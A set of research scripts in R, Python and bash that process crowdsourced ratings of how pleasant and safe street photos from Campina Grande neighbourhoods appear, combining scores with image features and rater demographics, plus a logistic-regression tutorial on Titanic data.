#write.table(c("[]", newG2), file=paste("adulto_", iteration, ".dat", sep=""), row.names=FALSE, col.names=FALSE, quote=FALSE)
centro <- read.table("centro.dat", skip=1)
notcentro <- read.table("notcentro.dat", skip=1)
novo <- sample(rbind(centro, notcentro)$V1)
newG1 <- novo[1:nrow(centro)]
newG2 <- novo[(nrow(notcentro)+1):length(novo)]
write.table(c("[]", newG1), file=paste("centro_", iteration, ".dat", sep=""), row.names=FALSE, col.names=FALSE, quote=FALSE)
write.table(c("[]", newG2), file=paste("notcentro_", iteration, ".dat", sep=""), row.names=FALSE, col.names=FALSE, quote=FALSE)
catole <- read.table("catole.dat", skip=1)
notcatole <- read.table("notcatole.dat", skip=1)
novo <- sample(rbind(catole, notcatole)$V1)
newG1 <- novo[1:nrow(catole)]
newG2 <- novo[(nrow(notcatole)+1):length(novo)]
write.table(c("[]", newG1), file=paste("catole_", iteration, ".dat", sep=""), row.names=FALSE, col.names=FALSE, quote=FALSE)
write.table(c("[]", newG2), file=paste("notcatole_", iteration, ".dat", sep=""), row.names=FALSE, col.names=FALSE, quote=FALSE)
liberdade <- read.table("liberdade.dat", skip=1)
notliberdade <- read.table("notliberdade.dat", skip=1)
novo <- sample(rbind(liberdade, notliberdade)$V1)
newG1 <- novo[1:nrow(liberdade)]
newG2 <- novo[(nrow(notliberdade)+1):length(novo)]
write.table(c("[]", newG1), file=paste("liberdade_", iteration, ".dat", sep=""), row.names=FALSE, col.names=FALSE, quote=FALSE)
write.table(c("[]", newG2), file=paste("notliberdade_", iteration, ".dat", sep=""), row.names=FALSE, col.names=FALSE, quote=FALSE)
}
<file_sep># coding=utf-8
# Combines RGB, QScore and amount of lines for each photo according to input data
import sys
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
possibleIncomes = ["Baixa (at\u00e9 R$ 1.449,99)", "M\u00e9dia Baixa (R$ 1.450 a R$ 2.899,99)", "M\u00e9dia (R$ 2.900 a R$ 7.249,99)", "M\u00e9dia Alta (R$ 7.250 a R$ 14.499,99)", "Alta (R$ 14.500 ou mais)"]
if __name__ == "__main__":
if len(sys.argv) < 4:
print "Uso: <arquivo com rgb> <arquivo com qscore> <arquivo com lincount> <com perfil?>"
sys.exit(1)
if len(sys.argv) > 4:
withProfile = bool(sys.argv[4])
else:
withProfile = False
rgbs = open(sys.argv[1], "r")
qscores = open(sys.argv[2], "r")
linesCounting = open(sys.argv[3], "r")
if withProfile:#Reading user profile data from file
usersProfileLines = open("usersInfo.dat", "r").readlines()
userProfile = {}
for line in usersProfileLines:
data = line.split("|")
userID = data[0].strip()
profile = data[1].split("+")
#age, sex, income, education, lives, time, civil status, knows
if len(profile) > 1:
userProfile[userID] = [int(profile[0]), profile[1], profile[2], profile[3], profile[4], int(profile[5]), profile[6], profile[7]]
else:
userProfile[userID] = []
qscoreLines = qscores.readlines()
rgbLines = rgbs.readlines()
linesCountingLines = linesCounting.readlines()
#Reading qscores
qscoreDic = {possibleQuestions[0]:{}, possibleQuestions[1]: {}}
usersDic = {possibleQuestions[0]:{}, possibleQuestions[1]: {}}
for line in qscoreLines:
data = line.split("\t")
photo = data[1].split("/")[5]+"/"+data[1].split("/")[6]#Saving district and street
qscore = data[2]
qscoreDic[data[0].strip()][photo.strip()] = qscore.strip()
if withProfile:
usersDic[data[0].strip()][photo.strip()] = []
for ID in data[3:]:
#print str(ID)+"\t"+photo+"\t"+data[0]
usersDic[data[0].strip()][photo.strip()].append(ID.strip("\n").strip("'"))
#print str(usersDic)
#Reading rgb data
rgbDic = {}
for line in rgbLines:
data = line.split(" ")
#print data
photo = data[0]
red = data[1]
green = data[2]
blue = data[3]
rgbDic[photo.strip()] = (red.strip(), green.strip(), blue.strip())
#Reading lines counting data
linesCountingDic = {}
for line in linesCountingLines:
data = line.split("\t")
#print data
photo = data[0]
diagonal = data[1]
horizontal = data[2]
vertical = data[3]
linesCountingDic[photo.strip()] = (diagonal.strip(), horizontal.strip(), vertical.strip())
#Writing outputFile with qscores and rgb
outputFile = open("rgbQScoreAgrad.dat","w")
if withProfile:
outputFile.write("foto\tqscore\tred\tgreen\tblue\tdiag\thor\tvert\tcountYoung\tcountOld\tcountFemale\tcountMale\tcountLowClass\tcountMLowClass\tcountMClass\tcountMHighClass\tcountHighClass\tcountGraduated\tcountHighSchool\tcountMaster\tcountPHD\tcountSingle\tcountDivorced\tcountWidower\tcountMarried\tcountKnowsCenter\tcountKnowsLiberdade\tcountKnowsCatole\n")
else:
outputFile.write("foto\tqscore\tred\tgreen\tblue\tdiag\thor\tvert\n")
for photo in qscoreDic[possibleQuestions[0]].keys():
rgb = rgbDic[photo.split("/")[1]]
lines = linesCountingDic[photo.split("/")[1]]
qscore = qscoreDic[possibleQuestions[0]][photo]
if not withProfile:
outputFile.write(photo+"\t"+qscore+"\t"+rgb[0]+"\t"+rgb[1]+"\t"+rgb[2]+"\t"+lines[0]+"\t"+lines[1]+"\t"+lines[2]+"\n")
else:
users = usersDic[possibleQuestions[0]][photo]
totalAmountOfUsers = len(users)
countYoung = 0.0
countOld = 0.0
countMale = 0.0
countFemale = 0.0
countLowClass = 0.0
countMLowClass = 0.0
countMClass = 0.0
countMHighClass = 0.0
countHighClass = 0.0
countHighSchool = 0.0
countGraduated = 0.0
countMaster = 0.0
countPHD = 0.0
countSingle = 0.0
countMarried = 0.0
countDivorced = 0.0
countWidower = 0.0
countKnowsCenter = 0.0
countKnowsCatole = 0.0
countKnowsLiberdade = 0.0
for ID in users:
#age, sex, income, education, lives, time, civil status, knows
#print str(ID.strip())
if userProfile.has_key(ID.strip()):
profile = userProfile[ID.strip()]
#print str(ID) + "\t" + str(photo) + str(profile)
#print str(profile)
if len(profile) > 0:
if profile[0] <= 24:
countYoung += 1.0
elif profile[0] >=35 and profile[0] <=44:
countOld += 1.0
if profile[1].lower()[0] == 'f':
countFemale += 1.0
elif profile[1].lower()[0] == 'm':
countMale += 1.0
if profile[2] == possibleIncomes[0]:
countLowClass += 1.0
elif profile[2] == possibleIncomes[1]:
countMLowClass += 1.0
elif profile[2] == possibleIncomes[2]:
countMClass += 1.0
elif profile[2] == possibleIncomes[3]:
countMHighClass += 1.0
elif profile[2] == possibleIncomes[4]:
countHighClass += 1.0
if profile[3].lower()[0] == "g":
countGraduated += 1.0
elif profile[3].lower()[0] == "e":
countHighSchool += 1.0
elif profile[3].lower()[0] == "m":
countMaster += 1.0
elif profile[3].lower()[0] == "d":
countPHD += 1.0
if profile[6].lower()[0] == 's':
countSingle += 1.0
elif profile[6].lower()[0] == 'd':
countDivorced += 1.0
elif profile[6].lower()[0] == 'v':
countWidower += 1.0
elif profile[6].lower()[0] == 'c':
countMarried += 1.0
if 'cen' in profile[7]:
countKnowsCenter += 1.0
if 'lib' in profile[7]:
countKnowsLiberdade += 1.0
if 'cat' in profile[7]:
countKnowsCatole += 1.0
outputFile.write(photo+"\t"+qscore+"\t"+rgb[0]+"\t"+rgb[1]+"\t"+rgb[2]+"\t"+lines[0]+"\t"+lines[1]+"\t"+lines[2]+"\t"+str(countYoung/totalAmountOfUsers)+"\t"+str(countOld/totalAmountOfUsers)+"\t"+str(countFemale/totalAmountOfUsers)+"\t"+str(countMale/totalAmountOfUsers)+"\t"+str(countLowClass/totalAmountOfUsers)+"\t"+str(countMLowClass/totalAmountOfUsers)+"\t"+str(countMClass/totalAmountOfUsers)+"\t"+str(countMHighClass/totalAmountOfUsers)+"\t"+str(countHighClass/totalAmountOfUsers)+"\t"+str(countGraduated/totalAmountOfUsers)+"\t"+str(countHighSchool/totalAmountOfUsers)+"\t"+str(countMaster/totalAmountOfUsers)+"\t"+str(countPHD/totalAmountOfUsers)+"\t"+str(countSingle/totalAmountOfUsers)+"\t"+str(countDivorced/totalAmountOfUsers)+"\t"+str(countWidower/totalAmountOfUsers)+"\t"+str(countMarried/totalAmountOfUsers)+"\t"+str(countKnowsCenter/totalAmountOfUsers)+"\t"+str(countKnowsLiberdade/totalAmountOfUsers)+"\t"+str(countKnowsCatole/totalAmountOfUsers)+"\n")
#Writing outputFile with qscores and rgb
outputFile = open("rgbQScoreSeg.dat","w")
if withProfile:
outputFile.write("foto\tqscore\tred\tgreen\tblue\tdiag\thor\tvert\tcountYoung\tcountOld\tcountFemale\tcountMale\tcountLowClass\tcountMLowClass\tcountMClass\tcountMHighClass\tcountHighClass\tcountGraduated\tcountHighSchool\tcountMaster\tcountPHD\tcountSingle\tcountDivorced\tcountWidower\tcountMarried\tcountKnowsCenter\tcountKnowsLiberdade\tcountKnowsCatole\n")
else:
outputFile.write("foto\tqscore\tred\tgreen\tblue\tdiag\thor\tvert\n")
for photo in qscoreDic[possibleQuestions[1]].keys():
rgb = rgbDic[photo.split("/")[1]]
lines = linesCountingDic[photo.split("/")[1]]
qscore = qscoreDic[possibleQuestions[1]][photo]
if not withProfile:
outputFile.write(photo+"\t"+qscore+"\t"+rgb[0]+"\t"+rgb[1]+"\t"+rgb[2]+"\t"+lines[0]+"\t"+lines[1]+"\t"+lines[2]+"\n")
else:
users = usersDic[possibleQuestions[1]][photo]
totalAmountOfUsers = len(users)
countYoung = 0.0
countOld = 0.0
countMale = 0.0
countFemale = 0.0
countMarried = 0.0
countLowClass = 0.0
countMLowClass = 0.0
countMClass = 0.0
countMHighClass = 0.0
countHighClass = 0.0
countGraduated = 0.0
countHighSchool = 0.0
countMaster = 0.0
countPHD = 0.0
countSingle = 0.0
countDivorced = 0.0
countWidower = 0.0
countKnowsCenter = 0.0
countKnowsCatole = 0.0
countKnowsLiberdade = 0.0
for ID in users:
#age, sex, income, education, lives, time, civil status, knows
if userProfile.has_key(ID.strip()):
profile = userProfile[ID.strip()]
if len(profile) > 0:
if profile[0] <= 24:
countYoung += 1.0
elif profile[0] >=35 and profile[0] <=44:
countOld += 1.0
if profile[1].lower()[0] == 'f':
countFemale += 1.0
elif profile[1].lower()[0] == 'm':
countMale += 1.0
if profile[2] == possibleIncomes[0]:
countLowClass += 1.0
elif profile[2] == possibleIncomes[1]:
countMLowClass += 1.0
elif profile[2] == possibleIncomes[2]:
countMClass += 1.0
elif profile[2] == possibleIncomes[3]:
countMHighClass += 1.0
elif profile[2] == possibleIncomes[4]:
countHighClass += 1.0
if profile[3].lower()[0] == "g":
countGraduated += 1.0
elif profile[3].lower()[0] == "e":
countHighSchoool += 1.0
elif profile[3].lower()[0] == "m":
countMaster += 1.0
elif profile[3].lower()[0] == "d":
countPHD += 1.0
if profile[6].lower()[0] == 's':
countSingle += 1.0
elif profile[6].lower()[0] == 'd':
countDivorced += 1.0
elif profile[6].lower()[0] == 'v':
countWidower += 1.0
elif profile[6].lower()[0] == 'c':
countMarried += 1.0
if 'cen' in profile[7]:
countKnowsCenter += 1.0
if 'lib' in profile[7]:
countKnowsLiberdade += 1.0
if 'cat' in profile[7]:
countKnowsCatole += 1.0
outputFile.write(photo+"\t"+qscore+"\t"+rgb[0]+"\t"+rgb[1]+"\t"+rgb[2]+"\t"+lines[0]+"\t"+lines[1]+"\t"+lines[2]+"\t"+str(countYoung/totalAmountOfUsers)+"\t"+str(countOld/totalAmountOfUsers)+"\t"+str(countFemale/totalAmountOfUsers)+"\t"+str(countMale/totalAmountOfUsers)+"\t"+str(countLowClass/totalAmountOfUsers)+"\t"+str(countMLowClass/totalAmountOfUsers)+"\t"+str(countMClass/totalAmountOfUsers)+"\t"+str(countMHighClass/totalAmountOfUsers)+"\t"+str(countHighClass/totalAmountOfUsers)+"\t"+str(countGraduated/totalAmountOfUsers)+"\t"+str(countHighSchool/totalAmountOfUsers)+"\t"+str(countMaster/totalAmountOfUsers)+"\t"+str(countPHD/totalAmountOfUsers)+"\t"+str(countSingle/totalAmountOfUsers)+"\t"+str(countDivorced/totalAmountOfUsers)+"\t"+str(countWidower/totalAmountOfUsers)+"\t"+str(countMarried/totalAmountOfUsers)+"\t"+str(countKnowsCenter/totalAmountOfUsers)+"\t"+str(countKnowsLiberdade/totalAmountOfUsers)+"\t"+str(countKnowsCatole/totalAmountOfUsers)+"\n")
outputFile.close()
<file_sep>#!/bin/bash
#This script is used to process latitudes and longitudes from shapefiles and then perform a reverse geocoding in order to obtain the closest human-readable address
if [ $# -lt 1 ]; then
echo "usage: $0 <shapefiles>"
exit 1
fi
python extractLatLongSHP.py $*
for file in *.out ; do
echo $file
while read line ; do
echo $line
wget https://maps.googleapis.com/maps/api/geocode/json?latlng=${line} -O teste.dat
IFS=. read -r -a octets <<< "${file}"
grep "formatted_address" teste.dat | head -n 1 | awk -F ":" '{print $2}' >> "${octets}.addr"
rm teste.dat
done < $file
done
<file_sep>---
title: "Teste"
output: pdf_document
---
This is an R Markdown document. Markdown is a simple formatting syntax for authoring HTML, PDF, and MS Word documents. For more details on using R Markdown see <http://rmarkdown.rstudio.com>.
When you click the **Knit** button a document will be generated that includes both content as well as the output of any embedded R code chunks within the document. You can embed an R code chunk like this:
```{r}
summary(cars)
```
You can also embed plots, for example:
```{r, echo=FALSE}
library(ggplot2)
library(gridExtra)
source('analisaICPorFoto.R')
facet_names <- list(
'agrad%C3%A1vel?'="Agradável",
'seguro?'="Seguro"
)
facet_labeller <- function(variable,value){
return(facet_names[value])
}
dados <- read.table("geral.dat", header=TRUE)
dadosSub <- dados[, c("V2", "V1", "V3", "diag", "hor", "vert", "red", "green", "blue", "grupo", "bairro")]
novosDados <- reshape(dadosSub, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
temp <- dados
#Intervalo de confiança por ponto
qscoreSim <- temp [ c(4:103) ]
icData <- apply(qscoreSim, 1, ic)
temp$distance <- icData
#Extraindo apenas os dados para plots
dadosCopy <- temp[, c("V2", "V1", "V3", "diag", "hor", "vert", "red", "green", "blue", "grupo", "bairro", "distance")]
ggplot(novosDados, aes(y=V3.MenorMed, x=V3.MaiorMed, colour=bairro))+geom_point()+facet_grid(. ~V1, shrink=TRUE, labeller = facet_labeller)+xlab("QScore Maior median")+ylab("QScore menor median")+geom_abline(intercept=0, colour="red")
```
Note that the `echo = FALSE` parameter was added to the code chunk to prevent printing of the R code that generated the plot.
<file_sep>library(ggplot2)
theme_set(theme_bw())
library(GGally)
library(pscl)
library(dplyr, warn.conflicts = FALSE)
library(broom)
titanic <- read.csv("logit/exemplo_naza/titanic3.csv")
titanic <- select(titanic, pclass, survived, sex, age, fare)
titanic$pclass <- as.factor(titanic$pclass)
titanic$survived <- as.factor(titanic$survived)
titanic <- na.omit(titanic)
ggpairs(titanic)
# Parece haver uma relação entre fare e survived
ggplot(titanic, aes(x = survived, y = fare)) +
geom_violin(fill = "lightblue") +
geom_point(position = position_jitter(.2), alpha = .3) +
scale_y_log10()
# Seria possível passar uma regressão linear?
ggplot(titanic, aes(x = fare, y = survived)) +
scale_x_log10() +
geom_count(alpha = .5)
# Um preditor numérico
x = -20:20
minha_logit = function(b0, b1, x){
return(exp(b0 + b1 * x) / (1 + exp(b0 + b1 * x)))
}
# Usando uma função Logit qualquer
py_dado_x = minha_logit(1.2, 1.3, x)
data.frame(x, py_dado_x) %>%
ggplot(aes(x, py_dado_x)) +
geom_point() +
geom_line()
# coeficiente negativo:
py_dado_x = minha_logit(1.2, -1.3, x)
data.frame(x, py_dado_x) %>%
ggplot(aes(x, py_dado_x)) +
geom_point() +
geom_line()
titanic = titanic %>%
filter(fare > 0) %>%
mutate(logFare = log(fare))
bm <- glm(survived ~ logFare,
data = titanic,
family = "binomial")
tidy(bm, conf.int = TRUE)
# EXPONENCIANDO:
tidy(bm, conf.int = TRUE, exponentiate = TRUE)
## Como aqui y = exp(b0)*exp(b1*x1), aumentar em uma unidade x, faz com que y seja multiplicado por exp(b1), que é o coeficiente acima
# Não existe um R^2 aqui
glance(bm)
# Pseudo R^2:
pR2(bm)
expectativa_realidade = augment(bm, type.predict = "response")
expectativa_realidade %>%
mutate(survivedNum = ifelse(survived == "1", 1, 0)) %>%
ggplot(aes(x = logFare)) +
geom_count(aes(y = survivedNum), alpha = 0.5) +
geom_line(aes(y = .fitted))
bm <- glm(survived ~ pclass,
data = titanic,
family = "binomial")
tidy(bm, conf.int = TRUE)
glance(bm)
pR2(bm)
#summary(bm)
#Fit relacionando preferências e gêneros
x = read_csv("data/gender_prefs_speeddating.csv")
gendermodel = glm(gender ~ sport,
data = select(x, -iid),
family = "binomial")
tidy(gendermodel, conf.int = TRUE, exponentiate = TRUE)
glance(gendermodel)
pR2(gendermodel)
expectativa_realidade = augment(gendermodel,
type.predict = "response")
expectativa_realidade %>%
mutate(genderNum = ifelse(gender == "1", 1, 0)) %>%
ggplot(aes(x = sports)) +
geom_count(aes(y = genderNum), alpha = 0.5) +
geom_line(aes(y = .fitted))
expectativa_realidade = expectativa_realidade %>%
mutate(categoria_prevista = ifelse(.fitted > .5, "1", "0"))
table(expectativa_realidade$categoria_prevista, expectativa_realidade$gender)
#Multivariada:
bm <- glm(survived ~ pclass + sex + age + sex*age,
data = titanic,
family = "binomial")
tidy(bm, conf.int = TRUE, exponentiate = TRUE)
pR2(bm)
library(tidyr)
library(modelr) # devtools::install_github("hadley/modelr")
m = titanic %>%
data_grid(pclass, sex, age, survived)
mm = augment(bm, newdata = m, type.predict = "response")
ggplot(mm, aes(x = age, colour = pclass)) +
geom_line(aes(y = .fitted)) +
facet_grid(.~sex)
predictions <- predict(bm, type = "response") > .5
true_survivals <- titanic$survived == 1
table(predictions, true_survivals)
require(vcd)
mosaic(table(predictions, true_survivals))
erro <- sum((predictions != true_survivals)) / NROW(predictions)
#ROC Curve: https://onlinecourses.science.psu.edu/stat504/node/163
#Most common value to accept as true (1): 0.5
#The ROC of random guessing lies on the diagonal line.
#The ROC of a perfect diagnostic technique is a point at the upper left corner of the graph
library(pROC)
g <- roc(survived ~ .fitted, data = mm)
plot(g)
library(ROCR)
p <- predict(model, newdata=subset(test,select=c(2,3,4,5,6,7,8)), type="response")
pr <- prediction(p, test$Survived)
pr <- prediction(predict(bm, type = "response"), titanic$survived)
prf <- performance(pr, measure = "tpr", x.measure = "fpr")
plot(prf)
<file_sep># -*- coding: utf-8 -*-
# This file is part of PyBOSSA.
#
# PyBOSSA is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# PyBOSSA is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with PyBOSSA. If not, see <http://www.gnu.org/licenses/>.
import urllib
import urllib2
import re
import json
import string
import glob
import random
def get_photos(size="big"):
"""
Gets public photos from Flickr feeds
:arg string size: Size of the image from Flickr feed.
:returns: A list of photos.
:rtype: list
"""
# Get the ID of the photos and load it in the output var
# add the 'ids': '25053835@N03' to the values dict if you want to
# specify a Flickr Person ID
#print('Contacting Flickr for photos')
urlPadrao = "http://socientize.lsd.ufcg.edu.br/"
urlAlmirante = "http://socientize.lsd.ufcg.edu.br/almirante/"
#urlRodrigues = "http://socientize.lsd.ufcg.edu.br/rodrigues/"
urlFloriano = "http://socientize.lsd.ufcg.edu.br/floriano/"
listOfAlmirante = glob.glob('/home/pybossa023/pybossa/pybossa/almirante/*.jpg')
#listOfRodrigues = glob.glob('/home/pybossa023/pybossa/rodrigues/*.jpg')
listOfFloriano = glob.glob('/home/pybossa023/pybossa/pybossa/floriano/*.jpg')
#values = {'nojsoncallback': 1,
# 'format': "json"}
#query = url + "?" + urllib.urlencode(values)
#urlobj = urllib2.urlopen(query)
#data = urlobj.read()
#urlobj.close()
# The returned JSON object by Flickr is not correctly escaped,
# so we have to fix it see
# http://goo.gl/A9VNo
#regex = re.compile(r'\\(?![/u"])')
#fixed = regex.sub(r"\\\\", data)
#output = json.loads(fixed)
#print('Data retrieved from Flickr')
# For each photo ID create its direct URL according to its size:
# big, medium, small (or thumbnail) + Flickr page hosting the photo
photos = []
numberOfPairs = 30
allPhotos = [listOfAlmirante, listOfFloriano]
counter = 0
#while counter < numberOfPairs:
#Choose streets
#list1 = random.choice(allPhotos)
#list2 = random.choice(allPhotos)
list1 = listOfAlmirante
list2 = listOfFloriano
#Choose a photo from selected street
#choosed1 = random.choice(list1)
#choosed2 = random.choice(list2)
#while choosed1 == choosed2:
# choosed1 = random.choice(list1)
# choosed2 = random.choice(list2)
for i in range(0, 3):
choosed1 = list1[i]
for j in range (0, 5):
choosed2 = list2[j]
imgUrl_c = urlPadrao + choosed1.split("/")[5] + "/" + choosed1.split("/")[6]
imgUrl_a = urlPadrao + choosed2.split("/")[5] + "/" + choosed2.split("/")[6]
print imgUrl_c
print imgUrl_a
element = {'url_c': imgUrl_c, 'url_a': imgUrl_a}
photos.append(element)
for i in range(0,3):
choosed1 = list1[i]
for j in range(i+1,3):
choosed2 = list1[j]
imgUrl_c = urlPadrao + choosed1.split("/")[5] + "/" + choosed1.split("/")[6]
imgUrl_a = urlPadrao + choosed2.split("/")[5] + "/" + choosed2.split("/")[6]
print imgUrl_c
print imgUrl_a
element = {'url_c': imgUrl_c, 'url_a': imgUrl_a}
photos.append(element)
for i in range(0,5):
choosed1 = list2[i]
for j in range(i+1,5):
choosed2 = list2[j]
imgUrl_c = urlPadrao + choosed1.split("/")[5] + "/" + choosed1.split("/")[6]
imgUrl_a = urlPadrao + choosed2.split("/")[5] + "/" + choosed2.split("/")[6]
print imgUrl_c
print imgUrl_a
element = {'url_c': imgUrl_c, 'url_a': imgUrl_a}
photos.append(element)
#element = {'url_c': imgUrl_c, 'url_a': imgUrl_a}
#if(element in photos):
# continue
#else:
# photos.append(element)
# counter = counter + 1
#for idx, photo in enumerate(output['items']):
# print 'Retrieved photo: %s' % idx
# imgUrl_m = photo["media"]["m"]
# imgUrl_b = string.replace(photo["media"]["m"], "_m.jpg", "_b.jpg")
# photos.append({'url_m': imgUrl_m,
# 'url_b': imgUrl_b})
return photos
<file_sep># coding=utf-8
# Separates tasks execution according to a group of users
import sys
import pandas as pd
def selectTasks(lines, criteria):
""" Selecting tasks according to user ids defined in criteria """
for line in lines:#Reading from pybossa task-run CSV
lineData = line.split("+")
currentUserID = lineData[4]
if currentUserID+"\n" in criteria:
print line.strip()
def selectTasksToRemove(lines, criteria):
""" Removing tasks according to user ids defined in criteria """
for line in lines:#Reading from pybossa task-run CSV
lineData = line.split("+")
currentUserID = lineData[4]
if not currentUserID+"\n" in criteria:
print line.strip()
def selectTasksFromClassifierPredictions(predFile, criteria):
data = pd.read_table(predFile, sep='\s+', encoding='utf8', header=0)
all_data = None
for userID in criteria:
id = userID.strip(' \t\n\r"')
userData = data[(data.userID == int(id))]
if all_data is None:
all_data = userData
else:
all_data = all_data.append(userData)
all_data.to_csv("run_pred_user.dat", sep = "\t")
if __name__ == "__main__":
#print sys.argv
if len(sys.argv) < 3:
print "Uso: <arquivo com execuções das tarefas> <arquivos com usuarios a filtrar> <type: run, classifier or remove>"
sys.exit(1)
if len(sys.argv) >= 4:
typeOfExecution = sys.argv[len(sys.argv)-1]
else:
typeOfExecution = ""
#print typeOfExecution
dataFile = open(sys.argv[1], 'r')
lines = dataFile.readlines()
if typeOfExecution.lower() == "remove":
usersFile = open(sys.argv[2], 'r')
criteria = usersFile.readlines()[1:]#skipping first line containing tasks id of intersection
#print criteria
if sys.argv[3] != "remove":
usersFile = open(sys.argv[3], 'r')
criteria.extend(usersFile.readlines()[1:])
else:
usersFile = open(sys.argv[2], 'r')
criteria = usersFile.readlines()[1:]#skipping first line containing tasks id of intersection
#print criteria
#sys.exit(1)
if len(typeOfExecution) == 0 or typeOfExecution == "run":
selectTasks(lines, criteria)#FIXME: add tasksID
elif typeOfExecution == "remove":
selectTasksToRemove(lines, criteria)
else:
selectTasksFromClassifierPredictions(sys.argv[1], criteria)
dataFile.close()
usersFile.close()
<file_sep>import sys
if __name__ == "__main__":
if len(sys.argv) < 1:
print "Uso: <arquivo com dados>"
sys.exit(1)
dataInput = open(sys.argv[1], 'r')
lines = dataInput.readlines()
results = {}
counter = {}
for line in lines:
data = line.split("\t")
question = data[1]
answer = data[2]
photo1 = data[3].split("/")[4].replace("\"", "").strip()
photo2 = data[4].split("/")[4].replace("\"", "").strip()
if not counter.has_key(photo1):
counter[photo1] = 0
if not counter.has_key(photo2):
counter[photo2] = 0
if answer == 'Left':
if not results.has_key(photo1):
results[photo1] = []
results[photo1].append(photo2)
elif answer == 'Right':
if not results.has_key(photo2):
results[photo2] = []
results[photo2].append(photo1)
counter[photo1] = counter[photo1] + 1
counter[photo2] = counter[photo2] + 1
print "Total de Comparacoes", len(lines)
for key in results:
#print key, " ", len(results[key]), " ", counter[key], " ", results[key]
print key, " ", len(results[key]), " ", counter[key], " "
<file_sep>import sys
import matplotlib.pyplot as plt
import time as tm
import datetime
from matplotlib.backends.backend_pdf import PdfPages
from sets import Set
#User profiles summary dictionaries
userAge = {}
userSex = {}
userClass = {}
userEduc = {}
userCity = {}
userTime = {}
userRel = {}
userNeig = {}
vazio = 0
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
photosAnsweredPerQuestion = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
#Tasks definition
tasksIDDefinition = {}
def plotAge():
pp = PdfPages('age.pdf')
#Age levels
lev0 = 0
lev1 = 0
lev2 = 0
lev3 = 0
lev4 = 0
lev5 = 0
lev6 = 0
for age in userAge.keys():
age = int(age)
if age < 18:
lev0 += 1
elif age >= 18 and age <= 24:
lev1 += 1
elif age >= 25 and age <= 34:
lev2 += 1
elif age >= 35 and age <= 44:
lev3 += 1
elif age >= 45 and age <= 54:
lev4 += 1
elif age >= 55 and age <= 64:
lev5 += 1
#else:
# lev6 += 1
labels = '18l', '18a24', '25a34', '35a44', '45a54', '55a64'
sizes = [lev0, lev1, lev2, lev3, lev4, lev5]
colors = ['yellowgreen', 'green', 'gold', 'lightskyblue', 'blue', 'lightcoral', 'red']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotSex():
#Sex levels
pp = PdfPages('sex.pdf')
labels = []
sizes = []
for sex in userSex.keys():
labels.append(sex)
sizes.append(userSex[sex])
colors = ['lightcoral', 'lightskyblue']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotClass():
#Class levels
pp = PdfPages('class.pdf')
labels = []
sizes = []
for clas in userClass.keys():
labels.append(clas)
sizes.append(userClass[clas])
colors = ['yellowgreen', 'gold', 'lightskyblue', 'blue', 'lightcoral', 'red']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotEduc():
#Educational levels
pp = PdfPages('educ.pdf')
labels = []
sizes = []
for educ in userEduc.keys():
labels.append(educ)
sizes.append(userEduc[educ])
colors = ['yellowgreen', 'gold', 'lightskyblue', 'lightcoral']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotCity():
#City levels
pp = PdfPages('city.pdf')
labels = []
sizes = []
campinaCounting = 0
joaoPessoaCounting = 0
for city in userCity.keys():
if 'campina' in city.lower():
campinaCounting += userCity[city]
elif 'pessoa' in city.lower():
joaoPessoaCounting += userCity[city]
else:
labels.append(city)
sizes.append(userCity[city])
labels.append("<NAME>")
labels.append("<NAME>")
sizes.append(campinaCounting)
sizes.append(joaoPessoaCounting)
colors = ['yellowgreen', 'green', 'gold', 'lightskyblue', 'blue', 'lightcoral', 'red', 'black']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotTime():
#Time levels
pp = PdfPages('time.pdf')
lev1 = 0
lev2 = 0
lev3 = 0
lev4 = 0
lev5 = 0
lev6 = 0
for time in userTime.keys():
if len(time) > 0:
time = int(time)
if time < 10:
lev1 += 1
elif time >=10 and time < 20:
lev2 += 1
elif time >= 20 and time < 30:
lev3 += 1
elif time >=30 and time < 40:
lev4 += 1
elif time >=40 and time < 50:
lev5 += 1
else:
lev6 += 1
labels = '10-', '10-20', '20-30', '30-40', '40-50', '50+'
sizes = [lev1, lev2, lev3, lev4, lev5, lev6]
colors = ['yellowgreen', 'gold', 'lightskyblue', 'blue', 'lightcoral', 'red']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotRel():
#Relationship levels
pp = PdfPages('rel.pdf')
labels = []
sizes = []
for rel in userRel.keys():
labels.append(rel)
sizes.append(userRel[rel])
colors = ['yellowgreen', 'gold', 'lightskyblue', 'lightcoral']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotNeig():
#Neighborhood levels
pp = PdfPages('neig.pdf')
cen = userNeig['cen']
lib = userNeig['lib']
catol = userNeig['cat']
labels = 'Centro', 'Liberdade', 'Catole', 'Nao responderam ou Nao conhecem'
sizes = [cen, lib, catol, vazio]
colors = ['yellowgreen', 'green', 'lightskyblue', 'lightcoral']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors,
autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotSummary():
plotAge()
plotSex()
plotEduc()
plotClass()
plotCity()
plotTime()
plotRel()
plotNeig()
